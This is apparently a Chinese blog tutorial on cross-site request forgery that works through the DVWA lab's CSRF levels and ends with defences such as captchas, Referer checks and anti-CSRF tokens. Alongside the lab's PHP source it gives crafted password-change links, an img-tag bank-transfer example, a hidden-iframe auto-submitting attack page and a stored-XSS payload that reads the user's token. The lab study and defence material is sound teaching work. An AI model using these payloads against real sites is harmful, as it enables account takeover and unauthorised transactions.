CSRF(跨站请求伪造) 定义 跨站请求伪造 (英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding ,通常缩写为 CSRF 或者 XSRF ,攻击者会伪造一个请求(通常是一个链接),然后欺骗目标用户点击,用户一旦点击,攻击也就完成了。
基本原理
从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:
1.登录受信任网站A,并在本地生成Cookie。
2.在不登出A的情况下,访问危险网站B。
看到这里,你也许会说:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生:
1.你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。
2.你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了……)
3.上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。
例如 一个银行网站A的转账链接为http://www.mybank.com/Transfer.php?toBankId=11&money=1000
攻击者网站B有一段html代码为:
1 <img src =http://www.mybank.com/Transfer.php?toBankId =57&money =1000 >
首先你先登录A这个时候A会给你发送cookie,这个时候你只是想进来转一转并没有想转账,同时你有点开了B,点开那一瞬间你发现你少了1000因为在你点开的那一瞬间你带着你的cookie向银行网站发送了转账请求。
csrf攻击本质是重要操作的所有参数,都可以被攻击者猜测到,如果所有参数都知道那么攻击者就可以自己构造url来达到攻击目的。现在为了让用户自己点击是为了获取其cookie
危害
以受害者名义发送邮件,发消息
盗取受害者的账号
购买商品
虚拟货币转账
等等
DVWA CSRF low级别 是一个网站修改密码界面,可知该项目的目的是攻击者伪造恶意修改密码的链接让用户去点击,从而达到获取用户密码的目的。
那么当下目标就是构造恶意链接,即知道请求的所有参数是什么
输入password password
点击change,发现请求url为http://192.168.43.61/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
由此可知修改密码时后端所需要的参数为password_new,password_conf,change以及cookie(从后端代码看是需要cookie验证的)
这四个参数其中前三个可以由攻击者自己设置没有关系,最后那个cookie只需要用户点击攻击者的恶意链接(伪装为超链接)比如http://192.168.43.61/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#,此时用户就发送该url请求并携带自己的cookie,服务器以为是本人就执行了修改密码操作
模拟用户点击了攻击者网站的恶意链接,即在浏览器输入http://192.168.43.61/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#,然后发现页面显示password changed,说明修改成功
源码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php if ( isset ( $_GET [ 'Change' ] ) ) { $pass_new = $_GET [ 'password_new' ]; $pass_conf = $_GET [ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new ' WHERE user = '" . dvwaCurrentUser() . "';" ; $result = mysqli_query($GLOBALS ["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object($GLOBALS ["___mysqli_ston" ])) ? mysqli_error($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false )) . '</pre>' ); $html .= "<pre>Password Changed.</pre>" ; } else { $html .= "<pre>Passwords did not match.</pre>" ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
Medium级别 输入123 123提交后发现请求参数没有变,那么依旧如上
模拟用户已经点击了攻击者网站的恶意链接,即浏览器中输入http://192.168.43.61/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#,发现返回来错误:
说明后端对于请求头的HTTP_REFERER字段进行了验证,看是不是从本网站的正常上一个页面过来的,针对此我们可以bp抓包修改HTTP_REFERER字段为正常修改密码的上一个页面:
然后发现密码被修改成功:
源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php if ( isset ( $_GET [ 'Change' ] ) ) { if ( stripos( $_SERVER [ 'HTTP_REFERER' ] ,$_SERVER [ 'SERVER_NAME' ]) !== false ) { $pass_new = $_GET [ 'password_new' ]; $pass_conf = $_GET [ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new ' WHERE user = '" . dvwaCurrentUser() . "';" ; $result = mysqli_query($GLOBALS ["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object($GLOBALS ["___mysqli_ston" ])) ? mysqli_error($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false )) . '</pre>' ); $html .= "<pre>Password Changed.</pre>" ; } else { $html .= "<pre>Passwords did not match.</pre>" ; } } else { $html .= "<pre>That request didn't look correct.</pre>" ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
high级别 输入123 123发现url请求参数多了一个token
token是当用户访问网站时服务器给用户下发的,此时服务器也会保留一份,当用户再次访问网站时会将token取下与数据库中的token进行比对如果一样则说明是其本人,然后在执行业务操作,最后再给用户发一个,用于下一次验证,可见每次的用户token都不一样,当攻击者不知道用户的token时就很难实现csrf因为不能构造出相应的请求链接
这个是目前防止csrf攻击最常用的一种手段,如果想实施csrf那么我们就需要知道用户的token
一种方法是攻击者制作一个特定页面诱使用户点击,当用户点击该链接的这一刻,该代码会偷偷的访问修改用户密码的页面,然后获取到服务器返回的 token ,然后再构造修改密码的表单,加上我们获取到服务器的token值,向服务器发送修改密码的请求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <!DOCTYPE html > <html > <head lang ="en" > <meta charset ="UTF-8" > <title > </title > <script type ="text/javascript" > function attack ( ) { document .getElementsByName('user_token' )[0 ].value=document .getElementById("hack" ).contentWindow.document.getElementsByName('user_token' )[0 ].value; document .getElementById("transfer" ).submit(); } </script > </head > <body onload ="attack()" > <iframe src ="http://192.168.10.14/dvwa/vulnerabilities/csrf/" id ="hack" style ="display:none;" > </iframe > <form method ="GET" id ="transfer" action ="http://192.168.10.14/dvwa/vulnerabilities/csrf/" > <input type ="hidden" name ="password_new" value ="admin" > <input type ="hidden" name ="password_conf" value ="admin" > <input type ="hidden" name ="user_token" value ="" > <input type ="hidden" name ="Change" value ="Change" > </form > </body > </html >
但是由于同源策略该页面的js代码无法不可能跨域取到改密界面中的user_token
第二种方法就是利用存储型XSS,若网站存在存储型XSS,那么构造如下payload
1 <iframe src ="../csrf/" onload =alert(frames[0].document.getElementsByName( 'user_token ')[0 ].value )> </iframe >
我们将该代码通过存储型XSS插入到数据库中,这语句会弹出用户的token
拿到token之后攻击者就可以构造恶意链接来实现csrf了
可以看出加入了token的服务器是很难实现csrf的
源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php if ( isset ( $_GET [ 'Change' ] ) ) { checkToken( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $pass_new = $_GET [ 'password_new' ]; $pass_conf = $_GET [ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new ' WHERE user = '" . dvwaCurrentUser() . "';" ; $result = mysqli_query($GLOBALS ["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object($GLOBALS ["___mysqli_ston" ])) ? mysqli_error($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false )) . '</pre>' ); $html .= "<pre>Password Changed.</pre>" ; } else { $html .= "<pre>Passwords did not match.</pre>" ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } generateSessionToken(); ?>
Impossible级别 由high级别的web页面来看加入了输入最近一次使用的密码,攻击者不可能知道用户的上一次密码所以也就无法构造出修改密码的链接
源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php if ( isset ( $_GET [ 'Change' ] ) ) { checkToken( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $pass_curr = $_GET [ 'password_current' ]; $pass_new = $_GET [ 'password_new' ]; $pass_conf = $_GET [ 'password_conf' ]; $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS ["___mysqli_ston" ], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_curr = md5( $pass_curr ); $data = $db ->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data ->bindParam( ':user' , dvwaCurrentUser(), PDO::PARAM_STR ); $data ->bindParam( ':password' , $pass_curr , PDO::PARAM_STR ); $data ->execute(); if ( ( $pass_new == $pass_conf ) && ( $data ->rowCount() == 1 ) ) { $pass_new = stripslashes( $pass_new ); $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5( $pass_new ); $data = $db ->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data ->bindParam( ':password' , $pass_new , PDO::PARAM_STR ); $data ->bindParam( ':user' , dvwaCurrentUser(), PDO::PARAM_STR ); $data ->execute(); $html .= "<pre>Password Changed.</pre>" ; } else { $html .= "<pre>Passwords did not match or current password incorrect.</pre>" ; } } generateSessionToken(); ?>
防御方法 可见CSRF攻击是源于Web的隐式身份验证机制
常用的防御方法有:
加验证码
验证码,强制用户必须与应用进行交互,才能完成最终请求。在通常情况下,验证码能很好遏制CSRF攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。
Referer Check
Referer Check在Web最常见的应用就是”防止图片盗链”。同理,Referer Check也可以被用于检查请求是否来自合法的”源”(Referer值是否是指定页面,或者网站的域),如果都不是,那么就极可能是CSRF攻击。
但是因为服务器并不是什么时候都能取到Referer,所以也无法作为CSRF防御的主要手段。但是用Referer Check来监控CSRF攻击的发生,倒是一种可行的方法。
Anti CSRF Token(现在业界对CSRF的防御,一致的做法是使用一个Token)
用户访问某个表单页面。
服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。
在页面表单附带上Token参数。
用户提交请求后, 服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致,一致为合法请求,不是则非法请求。
CSRF的Token仅仅用于对抗CSRF攻击。当网站同时存在XSS漏洞时候,那这个方案也是空谈。
https://blog.csdn.net/qq_36119192/article/details/82918141
https://blog.csdn.net/qq_15096707/article/details/51307024
https://www.cnblogs.com/allenyip/p/10852400.html
附:存储型XSS如何获取用户cookie
https://blog.csdn.net/qq_36609913/article/details/79066320